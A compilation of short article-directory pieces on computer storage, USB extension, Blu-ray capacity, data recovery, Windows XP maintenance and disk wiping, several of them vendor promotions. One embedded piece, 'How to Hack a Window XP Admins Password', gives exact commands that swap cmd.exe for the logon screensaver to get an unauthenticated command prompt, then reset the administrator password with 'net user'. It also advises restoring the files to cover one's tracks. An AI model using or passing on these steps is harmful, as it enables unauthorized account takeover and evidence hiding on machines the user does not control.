Tips For Buying A 4gb USB Hard Drive

A 4GB USB hard drive often finds itself far from the discussion when it comes to removable hard drives. Removable hard drives are incredibly useful for anyone who owns a computer, but many people have skewed views as to what is possible with them. While it is always a good idea to back up your entire computer on a large capacity drive, some people simply do not want or need to, or they do these tasks less frequently than others. Some people do not feel the need to back up all of their files on a super frequent basis, while others feel that they do not want the size and bulk or a large external hard drive.

Other people simply want the portability and convenience of being able to move large files from one computer to the next with no issues whatsoever. Either way, a 4 GB USB hard drive can be a great asset to anyone moving and backing up files. There are a ton of these hard drives on the market, however, and these tips for buying one can help you to make sure you find the best one for your needs.

Quite a Few Companies Manufacture USB Drives:-

The computer industry has given way to thousands of companies who are manufacturing just about everything you need for your computing purposes. That creates a problem, since the choices for a 4 GB USB hard drive are, quite frankly, too hard to keep track of. By researching the companies online, you can weed out the companies that will not give you the quality or the device’s aesthetic appeal you are looking for.

Research a few Different 4GB Hard Drives:-

Once you have found the companies that you would like to narrow it down to, you should research that specific product. The best companies can have horrible products, and you need to make sure that your 4 GB USB hard drive will not be one of those outliers in a great company’s product portfolio. Look at the product photos on the company’s website and read the product’s description to learn as much as you can.

Visit the Big Box Stores:-

While it is possible to purchase a 4GB USB hard drive online, it is also possible to pick them up in stores. In order to find all of the hard drives on your short list, you should research the different stores in your area, and online, so you can gain as much knowledge as possible. This will give you the perfect range for the final purchase.

What do the Prices Look Like for a 4GB USB Hard Drive?

At the end of the day, there could be multiple 4GB USB hard drives that meet all of your needs. When you have narrowed it down, you should use the multiple stores that you have researched to find the best price for what you want. Price comparison is simple, and will give you the nicest price possible. Generally, prices range from as little as $30 to as much as $150. By spending some time researching, you increase your chances of buying what you want, at the best price possible.

When you do the research, it is fairly easy to find a 4GB USB hard drive that satisfies all of your needs. These hard drives are pretty versatile, and it is important to make sure that your money is going to a product that offers exactly what you want.

By: Jim Hedgecoth

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How To Select A Quality External Hard Drive

If you have decided to purchase an external hard drive, you now realize the importance of research to identify the best external hard drive that properly matches your needs. You are relying on the drive to store your files and keep them safe in the event of an unfortunate computer crash. Trying to make sure you have the best hard drive relies not only the product itself, but also how it relates to your specific needs as a user. By knowing how to seek out the best one for your purposes, you will be able to ensure that it offers exactly what you need with the quality that you are looking for.

External Hard Drive Space Storage Space :-

The amount of storage space is infinitely important when looking for the best external hard drive for your needs. While there are many different options available, you should determine the amount of space that you need as it relates to what type of user you are. There are external hard drives that exist that are as large as 1T (1 Terabyte), which is likely too much storage space for the average computer user. While these sizes are impressive to say the least, they may not be perfect for you, and will wind up costing you more for storage that you simply will likely never use.

Quality Enclosure

If you have the opportunity to look at a high quality external hard drive at a retail location, you can get a feel for the physical quality of the product but not necessarily the performance rating. A quality external hard drive will have a sturdy, strong enclosure that is designed to protect the internal components that reside inside. It is important to have a strong case on the hard drive, as you want to make sure that even if something happens to the drive, the percentage chance of the data not being affected will be increased.

External Hard Drive Brand Name and Backing

There are numerous brand names and companies that sell quality external hard drives, and consistently find themselves on the top of the quality chart ratings. Famous brand names are well known for a reason; they produce a quality product with fewer problems. By looking for quality ratings, you can be sure that you can find the best external hard drive that will serve you for years to come.

Reasonable Price:-

Even though there are good brands and brands that seem to be a notch above the rest, the prices are quite reasonable. When trying to find the best external hard drive for you, be sure to look at the prices. There is no reason to pay more than you should when there are quality products available at a lower cost.

These four different areas all tap into your own personal needs as a computer user. If you have found a product that matches this research criterion, you can be confident you have found a handy external hard drive for your situation. Not one external drive is the best for everyone, and that is what makes the search for the best that much more important.

By: Jim Hedgecoth

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400 Gb Of Data On A Single Blu-ray Disc

400 GB of data on a single disc. Seems to be quite amusing for some while some would say that it will take time to achieve it. But Japanese electronics giant Pioneer has made it possible. Pioneer has developed world's first 16-layer blu-ray disc, squeezing 25 GB of data on each layer thus totaling to an amazing figure of 400GB.

The currently commercially available blu-ray discs have the storage capacity of 25 GB. Those having two layers can store 50 GB of data. The problem in developing multiple layers disc have been to obtain a clear and stable signal from each recording layer. The frequently visited problems were crosstalk from adjacent layers and transmission loss. Pioneer managed to overcome these issues and developed a disc structure that reduces crosstalk from adjacent layers. Finally it came with a 16-layer optical disc that can play back high-quality signals from each layer.

The good news is that these high capacity discs are backward-compatible and will play on blu-ray disc players. These discs can be read using the same objective lens in current Blu-ray drives. Video game publishers and movie studios can use these discs to take more content on a single disc.

With the development of this technology, Pioneer is putting a green spin on the development. Discs with such enormous capacities mean fewer resources are consumed to deliver the same data or movies on Blu-ray media. For consumers, the main advantage of this technology is the chances of renting an entire season of a television show or collection of movies on a single disc. No need of disc-swapping.

So what do you think? Isn't it the future of data storage?

By: Pattrick Savarna

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Funny Desktops: Comical Wallpaper for Your Desktop

If you've been eager to find the right funny desktop wallpaper with which to decorate your computer desktop, then you will have no trouble finding plenty of downloads for these hilarious items. All it takes is a quick search with a search engine, and, presto, all kinds of joke desktops, cartoon character icons, and funny clipart appear before your very eyes, ready to download and decorate with.

Two sites that have cartoon and funny desktop wallpaper available are listed below:

• At Wall Paper Dudes, wallpaperdudes.com, you can download funny cartoon wallpaper, as well as funny free wallpaper tiles from the site. The only thing that Wall Paper Dude asks for their free humorous wallpaper downloads is that you do not share your wallpaper with other computer owners and keep it strictly to your own personal computer.
• In order for you to get rid of your present boring wallpaper and download for free joke wallpaper at Joke Wallpaper online is to access their website address at their official site at jokewallpaper.com, and you are ready to embark on a much funnier and enjoyable world.

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USB Extension Options: Breaking The 16 Foot Barrier

For the past ten years USB and FireWire have struggled to dominate the desktop interface market. Until five years ago, because of the relatively fast 400 Mbps offered by FireWire, USB, jokingly referred to as Ultra Slow Bandwidth, and was relegated to low-bandwidth applications such as keyboards and mice. At the end of 2001, however, USB dealt a fatal blow to FireWire with the release of the new USB 2.0 standard offering a maximum speed of 480 Mbps, faster than the theoretical limit of FireWire (though, in practice, usually slower).

It seems that USB has essentially won the standards battle with FireWire because of its relative low-cost and high availability. The limitation of USB (both the 1.1 and 2.0 standards popular today) is the 16 foot limit. When you have more than 16 feet between your computer and your USB device you will see significant degradation in the signal that can cause problems ranging from slower transmission speeds to an entirely dropped connection. This causes problems for people who want to run a USB cable to a printer located in another room, to a presentation keyboard/mouse combo or any other USB device that may be in a remote location.

The cheapest (and arguably easiest) way to extend the distance to your USB device is by using a USB Active Extension Cable. These cables have built-in USB repeaters that actually boost the USB signal, allowing you to go further than the 16 foot maximum distance. The most common length for these cables is 16 feet and you can chain up to four of these together with no loss in signal. Assuming you are using the longest USB device cable available (also 16 feet), USB Active Extension Cables allow for a maximum distance of 80 feet between your computer and USB device. They are available in USB 1.1 (12 Mbps) and USB 2.0 (480 Mbps).

For most USB extensions 80 feet is long enough, but what if you need to go further? Super USB Extenders allow you to extend the distance to your USB devices up to 150 feet with no loss in signal. The Super USB Extender uses similar technology for the male and female interfaces, but rather than have a regular USB cable in the middle, it uses a Cat 5 cable (also known as a networking cable). The advantage of Super USB Extenders, other than the increased maximum distance, is the ability to create a custom length. If you need to go 63 feet, for example, you can simply use a Super USB Extender with a 63 foot Cat 5 Cable between the booster and receiver. Super USB Extenders are also available in USB 1.1 and 2.0 interfaces.

If you are looking for a connection beyond 150 feet, many manufacturers offer a special Super USB Extender capable of USB transfer with no signal loss at 330 feet, though this is limited to USB 1.1. Black Box has created a USB 1.1 extender capable of transmission up to 1000 feet without signal loss, perfect for connecting your computer to a security camera or webcam hundreds of feet away from your computer.

Another exciting innovation for USB extension technology is the pending release of Wireless USB. Wireless USB hubs and devices are anticipated to show up in early 2006 with maximum distances over 100 feet. Keep in mind that this is the first release and as the technology matures this distance limitation will inevitably be lifted in favor of much further distances.

By: Preston Wily

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Your Way To Success

Did you know, self-publishing is one of the easiest ways to make money on the web. Of course, it requires talent, but it's easier to learn than you might think.

Getting Started:

Choose a subject that interests you. Select a subject you enjoy or want to learn about. As an example for this article, we will use "Computer Tips."

Okay, next collect the information to put in the book about "Computer Tips". A good idea to collect tips would be to use your own knowledge, contacts, friends, online associates, family members, even neighbors.

Contact everyone you know who owns a computer; ask them to share their favorite computer tips with you. Tell them if you use their tip you will include their name in the book. After several contacts you should have acquired a stack of solid information.

Now, it's time to start sorting the information and separating it into categories. For example beginner tips, hardware tips, software tips, online tips, troubleshooting tips. Place each category into its own file. Each of these categories will be the chapters in your book.

Next, begin composing your book on the computer. Don't panic! It's not that hard. Write a brief intro. Write your name and contact information, any copyright information, a brief disclaimer. Publishing date, origin of publishing.

Remember all those tips you collected. Select the best tips of the lot. Now break that down into brief chapters.

Now end the book with a pertinent ending sentence or paragraph. Your name, contact information and a link back to your website.

Now the book is ready to publish... You've read everything and checked for misspelled words or obvious grammar mistakes. You are now ready to see the final result of your hard work.

If you publish online you will need an e-Book creator, which could cost anywhere from and up. Or you might decide to search online with Google or Yahoo for "free e-Book creation software" and download.

Download the software and take it for a test drive. Follow the instructions on setting up your files and publishing.

If your e-Book is less than 10 pages you might decide to call it a report. More than 10 pages would classify as an e-Book.

Well, alright now. Let's sell that book and make a profit! One good idea is to call all the people who offered you tips for your book. Price the book around .00 Sounds like a deal! Especially for people hungry for helpful tips from a savvy computer expert like you.

Offer all the contributors a discount on your new book. Maybe a 50 percent discount. Everyone who contributes would certainly love to have a copy with their byline (name) included. This is called ego stroking sales tactics (works for me!)

Have a website? Offer the e-Book to all your website visitors. Set up a sales page advertising your book along with ordering instructions. You will want to set up a shopping cart to handle sales. Or alternatively use a service like pay pal or click bank to handle sales without the hassle of needing a merchant account. Note: Although click bank cost money to host your book you will attract affiliates who will eagerly sell your book. This translates to more profits.

Also, consider contacting ezine owners online. Offer them a free copy of your book in exchange for advertising space in their publication. Visit online ezine directories and search for ezines in a similar category as your book. Contact the editor with pertinent details.

It's amazingly easy to create your very own book online. There's no hidden secret to publishing. So called publishing guru's want you to think they have the answers or insider secrets. For most of those on the Internet the so called secret is just a good idea and a way to reach targeted customers.

Every person reading this article has a book inside of them! Think about it. Everybody knows something about a topic that other people would pay good money to learn about. You can be sure!

So, what are you waiting for? Get Busy! Pick a topic, gather the information, and process it. You'll be a published writer online. Others will think of you as their writer friend. You'll be able to strut your stuff with a certain pride. Yup, I'm a writer! And place that on all your emails, letters, stationary, and business cards.

By: surjeetkumar2

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Does Computer Software Hardware Work Separately?

JMDCompute Secret Tips
Computer hardware software are two opposing components that make up desktop computers and notebooks. They work together in harmony to allow the user to operate his or her electronic device. However, they are completely opposite in their functions and abilities. It is essential that you understand the difference if you want to operate any such electronic device.

These two must work together and work properly or the machine will be nothing more than an expensive paperweight sitting on your desk. In this article we will discuss the differences between the two and how they function together as a cohesive team.

Computer software is different than hardware in that these are the programs, procedures and documentation that cause the machine to be operated by the user. The software is classified into three different categories. The first is system software.

The system software helps the machine run. The second class is the programming software which allows the programmer to write new programs. The final category is the application software. The application software is any non computer related tasks.

Desktop computers and notebooks consist of tangible products that cause the machine to run. These include any memory modules such as RAM (Random Access Memory), mouse, keyboards, and all circuitry components within the machine such as mother boards, sound cards and video cards.

Even your power source is a vital asset that makes the machine run. The term "software" can be attributed to John W. Turkey in 1958, though there were earlier essays and theories dating back to the 1930s.

Computer hardware software works together. The software is loaded onto the hardware so you see how vital each system is and how they must work together for the computer to operate. This is especially important in the case of memory modules. Without both components you would have a machine that could not run or a machine that could not access memory.

Computer hardware software works together and you must know that your computer memory software is loaded directly onto the RAM chips. How much information is stored and how fast the computer can access the information is determined by the software working in tandem to store the information onto the hardware.

Most users never have to worry about the software outside of installing certain programs onto their computer. The same goes for the hardware. Outside of the keyboards and mouse, you really will only need to worry about system requirements and storage.

By: Michael Selvon

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How to Hack a Window XP Admins Password

This is a cool little computer trick for Microsoft Windows trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly:

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

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A Safer Way To Recover Damaged Partitions

Recovering damaged partitions on is a risky business. Even if you use the best data recovery tools and are absolutely sure in what you are doing, you are still risking your files shall something go wrong. Changes made to the damaged partition are irreversible; it is just too easy to overwrite an important system structure that holds vital information about your disk, files and data. Bottom line: it's good to backup before performing the recovery. But is this really the best way to do it?

There is a different approach to do data recovery that is even safer. No need to backup and restore during the recovery. Instead of making a backup copy of corrupted data, you can simply make a binary snapshot of the disk or partition being repaired, and attempt the recovery with different settings as many times as you need on this snapshot instead of the actual disk.

SoftAmbulance Partition Doctor by SoftAmbulance Data Recovery company is one of a few data recovery tools that allow recovering a virtual image of a damaged partition instead of repairing the partition directly. The data recovery tool lets you create a binary image of the damaged disk, and works with the binary image instead of the real thing. The binary image is a big file stored on another hard disk, CD, DVD or other media. The technology is similar to making an .iso image of a CD or DVD disc, only SoftAmbulance Partition Doctor extends it to partitions or even entire disks.

The diskcopy may be virtual, but any data you obtain from it is for real. SoftAmbulance Partition Doctor can recover your files, documents and other data from the binary image and put it on a healthy media. After that, you can attempt fixing the damaged system structures of the corrupted diskwithout taking any risk at all. Any modifications will be performed on the virtual image.

Don't rush the recovery. Don't take the risk of losing or corrupting your data. Create a virtual snapshot of the disk being repaired, and work on that snapshot instead of accessing the corrupted disk. This procedure keeps your original data safe, and ensures the highest level of safety during the recovery process.

SoftAmbulance Partition Doctor recovers files from damaged and corrupted disks and partitions and fixes damaged disks. The data recovery product supports all 32-bit versions of Windows, and recovers FAT and NTFS formatted hard disks, memory cards, CD and DVD media, and USB flash drives. The evaluation version is available for free at SoftAmbulance.com

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Electronic Discovery 2.0

Electronic Discovery, or “e-discovery” refers to the discovery of data from electronic storage and other electronic media for example e-mails, Hard Disk Drives, Databases, CAD/CAM files, websites and any other electronically-stored information which can be used as an evidence in a law suit.

Electronic Discovery 2.0, or “e-discovery 2.0” refers to the next generation of processes, technologies, and services that streamline and modernize the traditional e-discovery process as well as allows businesses to manage huge volumes of data, lower costs, and meet tight deadlines. In this Electronic Discovery process civil litigants seek to acquire information from both parties and from third parties.

In the early days Electronic Data & Evidence Recovery meant just handling over a few boxes of paper, but in today’s rapidly growing world where it involves terabytes of electronic data & valuable time, it is a different story. To deal with the increasing volume & complexity of e-discovery issues, companies have to adopt new technologies and processes.

If technology has created problem, then it can also solve it. In recent years lot of new technologies have emerged which enables organizations to store and search through their data to fulfill electronic discovery obligations.

As the cost of disk storage is reducing, people are moving from tapes to disks. This enables them to keep their data online and readily available for e-discovery from basic keyword search to sophisticated analysis tools. That mines all meta data from e-mails and groups them together for relevance and allow users to search thousands of mails and logs in minutes to identify and export the data.

From the company’s perspective Electronic Data Discovery has become a core competency and a part of doing business.

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The Secrets Of Hard Drive Repair

Hard disk drives are fascinating storage devices, very useful and essential for modern computer systems. They store data or information (files), our programs (applications) and they help the computer in executing functions (commands), you make in a program. They are not, though, without burden or disadvantages.

One frustrating fact about hard drives is that they contain moving parts and they are very prone to failure. There are some situations where you may find that your computer won’t boot, show errors at startup, stuck in boot windows, and BIOS doesn’t work at all. In such situations, the data stored on the hard drive can’t be accessed.

These are the situations where general computer user can’t identify the real problem. He/she thinks that there are some software or hardware problem with the computer like operating system corruption, RAM problems, firmware corruption and mother board problems.

The users don’t think or know about the real problem and send their computer to the hardware engineer. But the main problem is not related to other hardware parts, the problem exists with the computer hard drive. It is a very big mistake to fetch your hard drive to computer hardware shop because if the hardware engineer tries to access data form it, the hard drive can further damaged.

In such situations, you need to fetch your hard drive to data Recovery Company. Data Recovery Company provides special data recovery service for retrieving data from physically damaged hard drives. The data recovery can’t be performed in the general environment, so they use data recovery Clean Rooms.

The hard drive recovery experts replace the damaged parts of the hard drive in Clean Room and make it accessible. The damaged parts generally include hard drive head, spindle motor and head actuator.

The data recovery expert may also use data recovery software if the data can’t be recovered even after repairing or replacing the damaged parts of the drive. The data recovery software are used according to the operating system and file system. The data recovery service is same for all operating systems and their respective file systems.

Stellar Information Systems Ltd is the most advanced and experienced data Recovery Company. Stellar has over 15 years of experience in providing data recovery solutions around 137 countries throughout the world. The data recovery service by Stellar is provided in the Class 100 Clean Rooms.

Company has the best of the industry, data recovery experts who are fully qualified and experienced. The data recovery professionals of Stellar understand the needs and importance of data for a user and recover it in all of the cases.

When it comes to data recovery software, Stellar has the best data recovery software. The data recovery software are provided for all computer operating systems such as Windows, Macintosh, UNIX, Linux and Novell. These data recovery software can recover data from all of the file systems supported by these operating systems.

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Restore Your Computer's Performance with Windows XP

If your computer seems slower than it used to be, it probably is. My one-year old Dell laptop is much slower now than when it was new. Over time, computers get slower for a variety of reasons: files become disorganized, unnecessary software consumes resources, unused network drives slow start up, or too many programs automatically run at start up. Larger, serious issues can dramatically slow your computer's performance too. You may have a virus or need to troubleshoot problems by clean booting.
Fortunately, Windows XP includes tools to clean your computer and restore its performance. As I write this column, I'll be cleaning up my own computer and explaining how its performance improves. I'll cover Backup, Disk Cleanup, Disk Defragmenter, Add or Remove Programs, and the System Configuration tool.

Back Up First
Back up your computer before you run any system tools or do any troubleshooting. This is not just an over-cautious warning. Some of the steps I recommend in this column can cause pre-existing but hidden problems to surface, which may keep your computer from starting. Windows XP includes Backup, a tool that helps you protect your data.
To open the Backup or Restore Wizard
* Click Start, point to All Programs, point to Accessories, point to System Tools, and then click Backup.
For information on how to use this tool, see Ed Bott's column, Backup Made Easy and the Microsoft Knowledge Base article, How to Use Backup to Restore Files and Folders on Your Computer in Windows XP.
Before I make any changes, I'm going to time my computer to see how long it takes to restart. That way I know which of the changes helps the most. My computer took about three minutes to shut down, restart, and then open my e-mail client and browser. Of course, I hope to improve the computer's overall performance, but the time it takes to restart is easiest to measure.
Clear Out Forgotten Programs
The first step in tuning up your computer's performance is to remove any unnecessary programs. I install new programs all the time. Sometimes I'm thrilled with the new program and I continue to use it. Other times, it doesn't do what I hoped, and the program sits on my computer consuming resources and hurting performance.
Follow these steps to remove unneeded programs:

1. Click Start, and then click Control Panel.

2. Click Add or Remove Programs.
3. Scroll through the list and examine each program. Windows XP lists how often you use a program and what day you last started it. As shown in Figure 1, the Age of Mythology Trial is a good candidate for removal from my computer. Though I liked the game, I haven't used it recently and it's consuming a lot of disk space. You shouldn't remove anything labeled as an Update or Hotfix, however, because they improve the security of your computer.

Figure 1: The Add or Remove Programs window.

4. Click each program you no longer need, click the Remove button, and then follow the prompts to uninstall it.
You may have to restart your computer after removing a program. After your computer restarts, repeat the steps above to remove more programs.
Free Up Wasted Space
Removing unused programs is a great way to free up disk space, which will speed up your computer. Another way to find wasted disk space is to use the Disk Cleanup tool by following these steps:
1. Open My Computer, right-click Local Disk, and then click Properties.
2.On the General tab, click the Disk Cleanup button. Disk Cleanup will spend a few minutes examining your disk.
3.The Disk Cleanup dialog box opens. As you can see in Figure 2, it found almost three gigs of space on my computer that it could free up!

Figure 2: The Disk Cleanup tool.

4.Select the desired check boxes in the Files to Delete list, and then click OK. Disk Cleanup will spend several minutes clearing space.
5.If you have more than one hard disk, repeat this process for each hard disk listed in My Computer.
You can save yourself some time by automating the disk cleanup process. For more information, read the Microsoft Knowledge Basic article, How to Automate the Disk Cleanup Tool in Windows XP.
Defragment Your Computer
I hate newspaper articles that start on the front page but continue somewhere in the middle of the newspaper. I could get through the article much faster if it was printed on consecutive pages like a magazine article. Files on your computer can either be fragmented like a newspaper, or unfragmented like a magazine. Over time, more and more files become fragmented. When a file is fragmented, it takes longer for the computer to read it because it has to skip to different sections of the hard disk—just like it takes me a few seconds to find a page in the middle of a newspaper. Figure 3 compares how a computer reads unfragmented and fragmented files.

Figure 3: Fragmented and unfragmented files compared.

You need administrator privileges to defragment a drive or volume. Although fragmentation is complicated, it's easy to defragment your computer by following these steps:
1.Open My Computer, right-click Local Disk, and then click Properties.
2.On the Tools tab, click Defragment Now. The Disk Defragmenter opens.
3.Click your first hard disk, and then click Defragment. As shown in Figure 4, Disk Defragmenter will work for at least several minutes, though it may take several hours.

Figure 4: The Disk Defragmenter tool.

4.If you have more than one hard disk, repeat this process for each hard disk listed starting at Step 3.
My laptop's files were not terribly fragmented, so defragmenting them didn't speed it up much. However, after defragmenting the hard drive on my desktop computer, Windows and other programs started about 20% faster!
Disconnect Unused Network Connections

If you've ever had a network with more than one computer, you probably found it useful to share files between the computers by mapping a network drive. Network drives allow one computer to read and write files to another computer's hard disk as if it were directly connected. I use network drives all the time, and for me, they were the most significant source of slowness.
The problem with network drives is that Windows XP will attempt to connect to the network drives when Windows starts. If the remote computers don't respond immediately, Windows will wait patiently. Additionally, some programs will attempt to connect to the network drives when you browse for files and folders. If you've ever tried to open a file and had to wait several seconds (or minutes!), it's probably because the program was trying to establish a network connection—even if the file you are opening is on your local computer.

I am not as patient as Windows, and I'd rather not wait for unused network connections to respond. To reduce this problem, disconnect any unused drives by following these steps:

1.Open My Computer.
2.On the Tools menu, click Disconnect Network Drive.
3.Select the network drives that you no longer need, and then click OK.
After I disconnected the network drives on my computer, my computer was able to restart in 1 minute, 45 seconds—about 40% faster!

Remove Autostart Programs
The next step in restoring your computer's performance is to identify any unnecessary programs that start automatically. Often, programs configure themselves to run in the background so that they appear to start quickly when needed. Some of these programs show an icon on your taskbar to let you know that they're running, while others are completely hidden. These autostart programs probably won't noticeably slow down your computer as it starts up, but they will steal away trace amounts of memory and processing time as your computer runs.
Windows XP comes with the System Configurationtool (Msconfig.exe), an excellent way to manage the startup process. To start it:
1.Click Start, click Run, type Msconfig, and then press Enter.
2.On the Startup tab, you'll see a list of all the programs and processes that are set to run when Windows XP loads.
3.Speed up your overall start time by clearing the check box next to any item you think you don't need.
4.Click Apply, and then restart your computer for the changes to take effect.

My favorite way to examine autostart programs is to use the Autoruns freeware tool from Sysinternals. Autoruns lists every program that will automatically start and allows you to quickly delete the link to the program. Many autostart entries are important parts of Windows XP, including Userinit.exe and Explorer.exe. So you should not simply delete everything that you don't recognize. Instead, you should look up each entry at Paul Collins' Startup Applications List to determine whether you want it to start automatically.
For example, Figure 5 shows Autoruns revealing a file called nwiz.exe that is set to start automatically. I visited The Startup Applications List, typed in nwiz and discovered that it's used to set my desktop layout preferences. I'd like to keep this functionality, so I won't delete it.

Figure 5: The Autoruns freeware tool.

I also found a file named Wzqkpick.exe. After reading the description at The Startup Applications List, I decided I don't need to load that file automatically. I deleted the link using Autoruns by right-clicking it and then clicking Delete. This procedure works best for advanced users of Windows XP. If you aren't sure a program is unneeded—leave it!
The Startup Applications List may provide instructions for removing the startup program. If available, you should follow those instructions instead of deleting the link by using Autoruns.

How to Fix Bigger Problems
Many of the Windows XP Performance and Maintenance newsgroup users are experiencing serious, sudden performance problems. One day, their computer was fine and the next it was painfully slow. This type of problem is often caused by a computer virus or failing computer hardware. The suggestions in this article probably won't fix those types of problems. Instead, perform a virus scan on your computer. If that's not the issue, you should contact your computer vendor's technical support team for additional assistance. The troubleshooting process for this type of problem requires the knowledge to examine the computer's performance on a process-by-process basis, and usually includes a "process of elimination" phase where drivers, services, and hardware are removed/replaced one-by-one until the problem disappears. There's a very good chance that the computer won't start at all at some point in this process, so it's best to have support during the process.

Searching for "Windows XP Performance" on the Internet turns up a large number of performance tweaks. Some of these are useful, but most should not be attempted unless you understand exactly what you are doing. In particular, many of the tweaks that claim to improve your performance may only help under very specific circumstances. For example, in our own Windows XP Performance and Maintenance newsgroup, one user recommended disabling Internet Connection Firewall to solve a performance problem. Even if this did improve performance, it would leave the computer vulnerable to attacks from the Internet. I'd rather have a slightly slower computer than a hacked computer!
Expert Zone columnist Tony Northrup is an Internet engineer, a part-time photographer, and author of dozens of books and articles. He writes to help people safely use the Internet to communicate, share, and learn.

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Erase A Hard Disk Drive Permanently: How

A hard disk drive also known as hard drive or hard disk is a non-volatile storage device, which has the facility to stock up digitally encoded data on rapidly rotating platters and magnetic surfaces. Its design consists of a spindle which can hold one or more flat circular disks known as platters, onto which the data is recorded. It has the ability to store data more than floppy disk drives and can also access and transmit data at faster pace. Today, the boost in disk space and access speeds of hard disk drive have further facilitated the marketable viability of clients products that need great storage capacities, like digital audio players and video recorders.

However, the main problem that we are coming across is erasing data or files from hard disk permanently. Most of us think that erasing files and emptying the Recycle Bin will help in permanently get rid of those files. In fact, in most of the cases Recycle Bin tells that emptying the Recycle Bin will permanently remove items. But this statement is totally incorrect. You have to understand even after emptying the Recycle Bin, the files can be easily recovered by data recovery programs. Making the best use of delete key on actually removes the shortcuts to the files and makes them undetectable to users. Deleted files still reside on the hard drive and a rapid Google search will automatically show options for system recovery software will further allow to restore that data.

Apart from erasing the files or data from hard drive, many people also consider that the effective way to erase hard drive data is by formatting the hard drive. Though formatting the hard drive is somewhat secure than just erasing the files, but you should also note that formatting a disk does erase only the address tables. It makes it much more difficult to recover the files. However a computer specialist would be able to recover most or all the data that was on the disk before the reformat.

Disk Wiping is the next new technique that is gaining its popularity these days. Disk wiping is a new secure method and ensure that data, including individually licensed softwares on your computer and storage devices is irrecoverably deleted before recycling. Disk wiping is better method in comparison to erasing files or formatting the hard drive, because this method basically overwrites your entire hard drive with data, several times and once you format your hard drive, you may find it impossible to get back the data which was present on the drive before the overwrite. Though disk wiping algorithms vary from product to product, they usually write the entire disk with a number (zero or one) and then a reformat is required. Today, there are many products available in the market that you can purchase or download to perform secure disk wipes. Moreover, the two free programs that are gaining recognition for erasing data from your hard drive are:

(1) Darik’s Boot and Nuke: This is an application that you can install on a bootable floppy or CD Rom. Boot and Nuke uses several methods to wipe the data on your drive to an unrecoverable state. With the facility to delete the contents of any hard disk that it detects, makes this application a suitable utility for urgent situation data destruction.

(2) Eraser: This is next famous software and does a great work of cleaning your hard drive by removing all magnetic and solid state memory. It is an advanced security tool, which further allows you to entirely remove sensitive data by overwriting it several times with carefully selected patterns.

Now once one of these procedures is completed the drive is ready to be given away without fear of privacy invasion or fraud. These tools provide full confidence about your deleted sensitive personal information that is unrecoverable. In addition to this it also provide easy to comprehend and secure and affable graphical user interface GUI for permanent data removal.

Finally if you are still uncertain or want to ensure that deleted files are permanently gone, employ a file deletion management system. Today there are many file deletion programs designed to spot and permanently purge your computer of previously deleted files. These solutions initially scan a computer, find traces of previously erased data and finally remove discarded data including e-mail messages.

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How Data Recovery Programs Work

The Explanation And Working Of Data Recovery Programs:

When it comes to hard disk recovery, the best method is to insure that you will never need it. Besides making frequent backups, the following measures will keep your system running smoothly.

Antivirus Protection New viruses are invented every day, and system security is a concern for every business. Malicious software can damage your system to the point where it will not even boot up. The latest versions of Windows are the favorite targets of malicious programs such as spy ware and viruses, and it is helpful to use 2 or more antivirus/anti-spy ware programs to prevent destruction or theft of your data.

Spy ware Scanner The clues that spy ware is on a computer include a barrage of pop-up ads, a hijacked browser, a sudden or even repeated change of your computers Internet home page, the appearance of a new toolbar or new screen icons, malfunctioning keys, random error messages, and most of all, sluggish computer performance. Any system with access to the internet is prone to this problem, but there is software to block spy ware installation.

Further Precautions are to be taken:

In addition, make sure all employees using the office network do not download from unknown sites, and set your internet browser security at 'Medium' or higher. Install individual firewalls to prevent uninvited users from accessing your network. A firewall blocks unauthorized access to your computer and will alert you if spy ware already on your computer is sending information out. Purchase an anti-spy ware program from a vendor you know and trust. Set it to read on a regular basis, at least weekly and if possible each time you run your computer. Delete any programs the anti-spy ware program detects on your computer.

Computer Maintenance The best way to avoid having to use file recovery software is to be sure that no corrupt data is stored on your computer. Companies like Norton sell disk optimization programs keep your network running at top speed, correct problem files and maximize the available space on your hard disk. Run disk optimization and anti-virus programs at least once a week.

Protect Your Hard Disk:

Hard Disk Recovery There are disk recovery applications specifically geared to recovering files of a certain format, like graphics files as opposed to word document files, and there are general-purpose programs to hunt for any type of misplaced file regardless of the format. There is no program on the market that can guarantee recovery of every lost file, but you are able to increase your chances for recovery by selecting the appropriate program for the file you are trying to save.

Do-it-yourself programs are a lot less expensive than hiring a data retrieval company that specializes in information recovery, and to save money you should at least attempt to utilize this type of program before calling a professional.

In addition to recovering deleted files, there exist information recovery programs that can restore files after you have formatted the drive, after a power failure, natural disaster, or even files damaged by a computer virus.

Because of the duplication of data, it is possible to recover files from one or another disk when the need arises. As you might expect, RAID disk repair is quite a complicated process. However it is one of the most foolproof methods of data storage because the RAID architecture strategically distributes information randomly across the array. However, this sort of architecture demands the services of a recovery professional. Generally speaking when a hard drive is received by a data recovery firm, the first thing they do is evaluate it, and determine what recovery solution will be necessary. If the drive failure is a logical issue as mentioned earlier, then a scan of the drive will be performed to try and repair the file system corruption. Sometimes a partition can be repaired and the drive restored to the status that it was before the failure.

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Data Protection and Recycling Computer Hardware

We've been running online computer resale, repair and recycling companies for a number of years and throughout the whole period, the most important (and I can't stress this enough) part of the operation has been the protection of personal and corporate data/ information. This cannot be stressed enough. Everything from replying to emails to surfing the web and recycling/ disposing of your computer exposes you to fraud and identity theft.

The most overlooked portion of a computer's life is that of its disposal and the protection of the data on its hard drive. Skipping or binning your computer without first thinking about the safety of your personal information is simply crazy. It's like throwing your credit card in the garbage bin without first cutting it up.

Using a professional recycling service isn't always the best solution. Similarly, the local municipal recycling center will not be the best place to just take your old computer. You need to treat the hard drive or remove it first. Professional services will ensure your old computer does not end up in landfill, but they usually don't guarantee that your data will be removed. If your used computer ends up on the Ivory Coast, its data will probably be accessed and your personal information stolen. Paying for recycling does give you some surety in that there's a form of contract in place and monies have changed hands for a service, but always check first to ensure that data destruction is included as part of the contract- and always insist on a certificate to say that the hard drive has been wiped or destroyed.

